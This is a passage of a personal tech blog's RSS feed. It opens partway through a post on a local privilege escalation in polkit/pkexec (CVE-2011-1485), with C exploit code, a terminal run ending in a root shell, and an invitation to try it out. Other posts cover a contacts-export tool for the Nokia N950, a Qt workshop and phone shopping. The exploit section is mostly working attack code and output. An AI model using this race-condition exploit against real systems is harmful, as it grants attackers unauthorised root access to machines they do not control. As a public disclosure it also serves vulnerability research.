		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] Configuring inotify for proper pid.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		close<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> close<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		fd <span style="color: #339933;">=</span> inotify_init<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>fd <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
			perror<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[-] inotify_init&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		inotify_add_watch<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> pid_path<span style="color: #339933;">,</span> IN_ACCESS<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		read<span style="color: #009900;">&#40;</span>fd<span style="color: #339933;">,</span> NULL<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>All the code up to this point makes this process <i>block</i> until /proc/PID is read, at which point it:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">		execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/usr/bin/chsh&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;chsh&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Which is suid. Meanwhile in the other process, we launch pkexec, which skirts passed the initial checks, but gets fooled when we change the uid of the parent process:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">	<span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
		sleep<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;[+] Launching pkexec.<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;/usr/bin/pkexec&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;pkexec&quot;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;/bin/sh&quot;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span></pre></div></div>

<p>And it works:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"> $ pkexec <span style="color: #660033;">--version</span>
 pkexec version <span style="color: #000000;">0.101</span>
 $ <span style="color: #c20cb9; font-weight: bold;">gcc</span> polkit-pwnage.c <span style="color: #660033;">-o</span> pwnit
 $ .<span style="color: #000000; font-weight: bold;">/</span>pwnit 
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Configuring inotify <span style="color: #000000; font-weight: bold;">for</span> proper pid.
 <span style="color: #7a0874; font-weight: bold;">&#91;</span>+<span style="color: #7a0874; font-weight: bold;">&#93;</span> Launching pkexec.
 sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;"># whoami</span>
 root
 sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;"># id</span>
 <span style="color: #007800;">uid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">1</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>bin<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">2</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>daemon<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">3</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>sys<span style="color: #7a0874; font-weight: bold;">&#41;</span>,<span style="color: #000000;">4</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>adm<span style="color: #7a0874; font-weight: bold;">&#41;</span>
 sh-<span style="color: #000000;">4.2</span><span style="color: #666666; font-style: italic;">#</span></pre></div></div>

<p>This exploit is known to work on polkit-1 <= 0.101. However, Ubuntu, which as of writing uses 0.101, has backported 0.102's bug fix. A way to check this is by looking at the mtime of /usr/bin/pkexec -- April 19, 2011 or later and you're out of luck. It's likely other distributions do the same. Fortunately, this exploit is clean enough that you can try it out without too much collateral.</p>
<p><a href="http://git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/CVE-2011-1485/tree/polkit-pwnage.c?referer=');">So head on over and try it out!</a> You can watch it in action <a href="http://www.youtube.com/watch?v=TtUN_k3UWfs" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=TtUN_k3UWfs&amp;referer=');">over on YouTube</a> as well:<br />
<object width="404" height="400"><param name="movie" value="http://www.youtube-nocookie.com/v/TtUN_k3UWfs?version=3&amp;hl=en_US"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube-nocookie.com/v/TtUN_k3UWfs?version=3&amp;hl=en_US" type="application/x-shockwave-flash" width="404" height="400" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Greets to <a href="http://vulnfactory.org/" onclick="pageTracker._trackPageview('/outgoing/vulnfactory.org/?referer=');">Dan</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/675#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=675" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F675&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/675"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/675"  data-text="PolicyKit Pwnage: linux local privilege escalation on polkit-1 <= 0.101" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/675"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/675/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>vcardexport for Meego Harmattan</title>
		<link>http://blog.zx2c4.com/660</link>
		<comments>http://blog.zx2c4.com/660#comments</comments>
		<pubDate>Mon, 19 Sep 2011 23:21:15 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[aegis]]></category>
		<category><![CDATA[betamax]]></category>
		<category><![CDATA[console]]></category>
		<category><![CDATA[harmattan]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[meego]]></category>
		<category><![CDATA[n950]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[qtmobility]]></category>
		<category><![CDATA[vcard]]></category>
		<category><![CDATA[vcf]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=660</guid>
		<description><![CDATA[The vcard export GUI feature of the contacts app on the N950 is broken. The console app &#8220;vcardconverter&#8221; successfully digests vcards, but you won&#8217;t be able to get them out. In my case, it converted some back to vcards, but failed on others. Unacceptable. For updating to today&#8217;s new firmware, I didn&#8217;t want to take [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/660#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=660" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.zx2c4.com/wp-content/uploads/2011/09/BrokenContacts.png"><img src="http://blog.zx2c4.com/wp-content/uploads/2011/09/BrokenContacts-337x600.png" alt="" title="N950 Broken Export" width="337" height="600" class="alignright size-medium wp-image-665" /></a>The vcard export GUI feature of the contacts app on the N950 is broken. The console app &#8220;vcardconverter&#8221; successfully digests vcards, but you won&#8217;t be able to get them out. In my case, it converted some back to vcards, but failed on others. Unacceptable. For updating to <a href="http://www.developer.nokia.com/info/sw.nokia.com/id/db230178-aa63-4c73-ba7f-20930da13cad/Nokia_N950_OneClickFlashers.html" onclick="pageTracker._trackPageview('/outgoing/www.developer.nokia.com/info/sw.nokia.com/id/db230178-aa63-4c73-ba7f-20930da13cad/Nokia_N950_OneClickFlashers.html?referer=');">today&#8217;s new firmware</a>, I didn&#8217;t want to take a full backup of the tracker database, choosing instead to start fresh, suspecting that the new firmware fixes <i>a lot</i> of bugs. How, then, was I to backup my contacts, if I wasn&#8217;t going to backup the tracker? Vcard is the perfect neutral format for this.</p>
<p>So in a few lines of easy Qt/C++, I wrote vcardexport, a console application. It spits all the contacts out into one giant vcard file that can be reimported later with vcardconverter. Simple and easy. The biggest pain was getting the Aegis manifest correct, as the auto-generation tool is broken, and documentation is kind of sparse, but it&#8217;s all sorted now.</p>
<p>You can <a href="http://git.zx2c4.com/vcardexport/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/vcardexport/tree/?referer=');">browse the source here</a> or <a href="http://zx2c4.com/projects/vcardexport/" onclick="pageTracker._trackPageview('/outgoing/zx2c4.com/projects/vcardexport/?referer=');">download the latest deb from here</a>.</p>
<p><b>Usage:</b></p>
<pre>$ /opt/vcardexport/bin/vcardexport > ~/vcards.vcf</pre>
<p>Hope this is helpful. Enjoy the new firmware:</p>
<pre>
    image        [state    progress         transfer     flash speed]
---------------------------------------------------------------------
[x] cert-sw      [finished   100 %       1 /       1 kB      NA     ]
[x] cmt-2nd      [finished   100 %      95 /      95 kB      NA     ]
[x] cmt-algo     [finished   100 %     789 /     789 kB      NA     ]
[x] cmt-mcusw    [finished   100 %    6008 /    6008 kB    2933 kB/s]
[x] xloader      [finished   100 %      23 /      23 kB      NA     ]
[x] secondary    [finished   100 %      88 /      88 kB      NA     ]
[x] kernel       [finished   100 %    2708 /    2708 kB    2024 kB/s]
[x] rootfs       [finished   100 %  326205 /  326205 kB    7339 kB/s]
[x] mmc          [finished   100 %  204747 /  204747 kB   17604 kB/s]
Updating SW release
Success
</pre>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/660#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=660" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F660&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/660"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/660"  data-text="vcardexport for Meego Harmattan" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/660"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/660/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Code Supports Git</title>
		<link>http://blog.zx2c4.com/646</link>
		<comments>http://blog.zx2c4.com/646#comments</comments>
		<pubDate>Fri, 15 Jul 2011 19:21:53 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[Git]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[KDE]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=646</guid>
		<description><![CDATA[It&#8217;s about time!<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/646#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=646" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><a href="http://code.google.com/p/support/issues/detail?id=2454#c43" onclick="pageTracker._trackPageview('/outgoing/code.google.com/p/support/issues/detail?id=2454_c43&amp;referer=');">It&#8217;s about time!</a></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/646#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=646" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F646&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/646"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/646"  data-text="Google Code Supports Git" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/646"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/646/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Qt Workshop for Columbia&#8217;s Application Development Initiative</title>
		<link>http://blog.zx2c4.com/627</link>
		<comments>http://blog.zx2c4.com/627#comments</comments>
		<pubDate>Sat, 25 Jun 2011 18:17:24 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ADI]]></category>
		<category><![CDATA[columbia]]></category>
		<category><![CDATA[Demo]]></category>
		<category><![CDATA[education]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[lecture]]></category>
		<category><![CDATA[Qt]]></category>
		<category><![CDATA[talk]]></category>
		<category><![CDATA[video]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=627</guid>
		<description><![CDATA[Back in February I gave a workshop seminar on the basics of Qt &#8212; covering signals, slots, the metaobject system, QtGui, QtWebkit, and Qt Creator. We all built a fully functional web browser together, over the course of about an hour. The entirety was spoken just off the top of my head, so it might [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/627#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=627" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Back in February I gave a workshop seminar on the basics of Qt &#8212; covering signals, slots, the metaobject system, QtGui, QtWebkit, and Qt Creator. We all built a fully functional web browser together, over the course of about an hour. The entirety was spoken just off the top of my head, so it might be slightly disorganized, but there was pretty high reception from it. I know that following the presentation, at least two people went on to use Qt for major projects. Here&#8217;s the presentation:</p>
<p><center><object width="405" height="750"><param name="movie" value="http://www.youtube.com/v/xtssLlz5pUs?version=3&amp;hl=en_US&amp;rel=0&amp;hd=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/xtssLlz5pUs?version=3&amp;hl=en_US&amp;rel=0&amp;hd=1" type="application/x-shockwave-flash" width="405" height="750" allowscriptaccess="always" allowfullscreen="true"></embed></object><br />
<a href="http://www.youtube.com/watch?v=xtssLlz5pUs" onclick="pageTracker._trackPageview('/outgoing/www.youtube.com/watch?v=xtssLlz5pUs&amp;referer=');"><b>Direct YouTube Link</b></a></center></p>
<p>Unfortunately, the projector in the room was broken, so we all had to huddle around my laptop, which actually had the effect of making the workshop much more intimate. If you&#8217;re interested, <a href="http://git.zx2c4.com/TalkBrowser/tree/" onclick="pageTracker._trackPageview('/outgoing/git.zx2c4.com/TalkBrowser/tree/?referer=');">here&#8217;s the code we wrote together</a>.</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/627#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=627" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F627&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/627"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/627"  data-text="Qt Workshop for Columbia&#8217;s Application Development Initiative" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/627"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/627/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Wanted: Nokia E52-2</title>
		<link>http://blog.zx2c4.com/620</link>
		<comments>http://blog.zx2c4.com/620#comments</comments>
		<pubDate>Sun, 19 Jun 2011 19:49:53 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[E52]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[phone]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=620</guid>
		<description><![CDATA[The Nokia E52 is the most awesome phone ever made. It has a normal T9 keypad, GPS, 3G, Wifi, and runs Symbian. These are the features I need. Sure Android and others are more modern operating systems, but there is no smartphone OS that has phones with T9 hardware keypads of this form factor, except [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/620#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=620" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p><img src="http://st2.gsmarena.com/vv/bigpic/nokia-e52.jpg" align="right" />The <a href="http://en.wikipedia.org/wiki/Nokia_E52" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Nokia_E52?referer=');">Nokia E52</a> is the most awesome phone ever made. It has a normal T9 keypad, GPS, 3G, Wifi, and runs Symbian. These are the features I need. Sure Android and others are more modern operating systems, but there is no smartphone OS that has phones with T9 hardware keypads of this form factor, except for the E52. There is one problem: <i>it&#8217;s not made anymore</i></p>
<p>There are two models of the E52 &#8212; the E52-1, which has European 3G frequencies, and the E52-2, which has North American 3G frequencies. I&#8217;m looking for the E52-2.</p>
<p><b>If anyone knows there whereabouts of an E52-2, please inform me. I will bid high.</b></p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/620#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=620" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F620&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/620"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/620"  data-text="Wanted: Nokia E52-2" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/620"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/620/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Luddite Seeks Futuristic Phone</title>
		<link>http://blog.zx2c4.com/614</link>
		<comments>http://blog.zx2c4.com/614#comments</comments>
		<pubDate>Thu, 02 Jun 2011 08:07:11 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[android]]></category>
		<category><![CDATA[Blackberry]]></category>
		<category><![CDATA[ericson]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[lazyweb]]></category>
		<category><![CDATA[meego]]></category>
		<category><![CDATA[mobile]]></category>
		<category><![CDATA[neccesitas]]></category>
		<category><![CDATA[Nokia]]></category>
		<category><![CDATA[phone]]></category>
		<category><![CDATA[sony]]></category>
		<category><![CDATA[WebOS]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[xperia]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=614</guid>
		<description><![CDATA[Congratulations to the neccesitas project for joining KDE. I&#8217;m not sure what this means as far as KDE&#8217;s orientation or how this reflects the latest attitude of, &#8220;shit! we spent all this time fussing over Nokia&#8217;s mobile hype, and now we realize the desktop is rotting and we need to save it,&#8221; but it&#8217;s nonetheless [...]<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/614#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=614" style="border:0;" /></a></div>]]></description>
			<content:encoded><![CDATA[<p>Congratulations to the neccesitas project for <a href="http://dot.kde.org/2011/06/01/kde-releases-second-alpha-necessitas" onclick="pageTracker._trackPageview('/outgoing/dot.kde.org/2011/06/01/kde-releases-second-alpha-necessitas?referer=');">joining KDE</a>. I&#8217;m not sure what this means as far as KDE&#8217;s orientation or how this reflects the latest attitude of, &#8220;shit! we spent all this time fussing over Nokia&#8217;s mobile hype, and now we realize the desktop is rotting and we need to save it,&#8221; but it&#8217;s nonetheless exciting to know that neccesitas is supported by a good organization.</p>
<p>With that said, maybe it&#8217;s time for me to find a smartphone. I still use an old <a href="http://en.wikipedia.org/wiki/Nokia_1100" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Nokia_1100?referer=');">Nokia 1100</a>, which doesn&#8217;t support much more than calling and SMS. And Snake II. Windows Phone 7 is out. Meego is dead. WebOS is limping. Blackberry has an arcane dev environment. What&#8217;s that leave? Junked up Android. As a platform, Android seems to already be experiencing some bloat and disorganization and Java doesn&#8217;t seem too hot. But at the very least it runs Qt now.</p>
<p><b>The big problem is finding a satisfactory phone.</b> My critera are fairly simple:</p>
<li>QWERTY physical keyboard (I actually would prefer T9, but this is now long past <img src='http://blog.zx2c4.com/wp-includes/images/smilies/icon_sad.gif' alt=':-(' class='wp-smiley' />  ). This is very important. I will not compromise about this.</li>
<li>GSM that runs on AT&amp;T&#8217;s <b>3G</b> network, as well as general GSM support for Europe.</li>
<li>Rootable and/or rom-unlockable.</li>
<li>Sensible update policy / recent operating system.</li>
<li>Big pretty screen.</li>
<li>Fast processor.</li>
<li>Solid construction.</li>
<li>The usual assortment of GPS, Bluetooth, etc do-dads.</li>
<p>But nothing like this exists. Well, the <a href="http://www.sonyericsson.com/cws/products/mobilephones/overview/xperia-pro?cc=gb&#038;lc=en" onclick="pageTracker._trackPageview('/outgoing/www.sonyericsson.com/cws/products/mobilephones/overview/xperia-pro?cc=gb_038_lc=en&amp;referer=');">Xperia Pro</a> looks almost perfect &#8212; AT&#038;T 3G (approx), fast processor, pretty screen, great keyboard, etc &#8212; except so far it&#8217;s only available for pre-order in the UK and it&#8217;s looking unlikely it&#8217;ll be hitting the US.</p>
<p>What is out there that meets these criteria? Why has my research turned up dry continually?</p>
<p>[Sidenote: actually, the perfect phone for me might be the very dated <a href="http://en.wikipedia.org/wiki/Nokia_E52" onclick="pageTracker._trackPageview('/outgoing/en.wikipedia.org/wiki/Nokia_E52?referer=');">Nokia E52</a>, but I can't seem to find a north american model anywhere, even on eBay.]</p>
<div class="tantan-getcomments"><a href="http://blog.zx2c4.com/614#comments"><img src="http://blog.zx2c4.com/wp-content/plugins/tantan/get-comments.php?p=614" style="border:0;" /></a></div><div class="bottomcontainerBox" style="">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zx2c4.com%2F614&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" allowTransparency="true" style="border:none; overflow:hidden; width:85px; height:21px;"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zx2c4.com/614"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zx2c4.com/614"  data-text="Luddite Seeks Futuristic Phone" data-count="horizontal" data-via="zx2c4" onclick="pageTracker._trackPageview('/outgoing/twitter.com/share?referer=');"></a>
			</div>			
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;"><script src="http://www.stumbleupon.com/hostedbadge.php?s=1&amp;r=http://blog.zx2c4.com/614"></script></div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zx2c4.com/614/feed</wfw:commentRss>
		<slash:comments>43</slash:comments>
		</item>
		<item>
		<title>Search Engine Optimization with AJAX Apps using the AJAX Crawl Specification</title>
		<link>http://blog.zx2c4.com/589</link>
		<comments>http://blog.zx2c4.com/589#comments</comments>
		<pubDate>Tue, 10 May 2011 02:48:59 +0000</pubDate>
		<dc:creator>Jason Donenfeld</dc:creator>
				<category><![CDATA[Uncategorized]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[Apache]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[htmlunit]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[KDE]]></category>
		<category><![CDATA[photofloat]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[seo]]></category>
		<category><![CDATA[web2.0]]></category>

		<guid isPermaLink="false">http://blog.zx2c4.com/?p=589</guid>
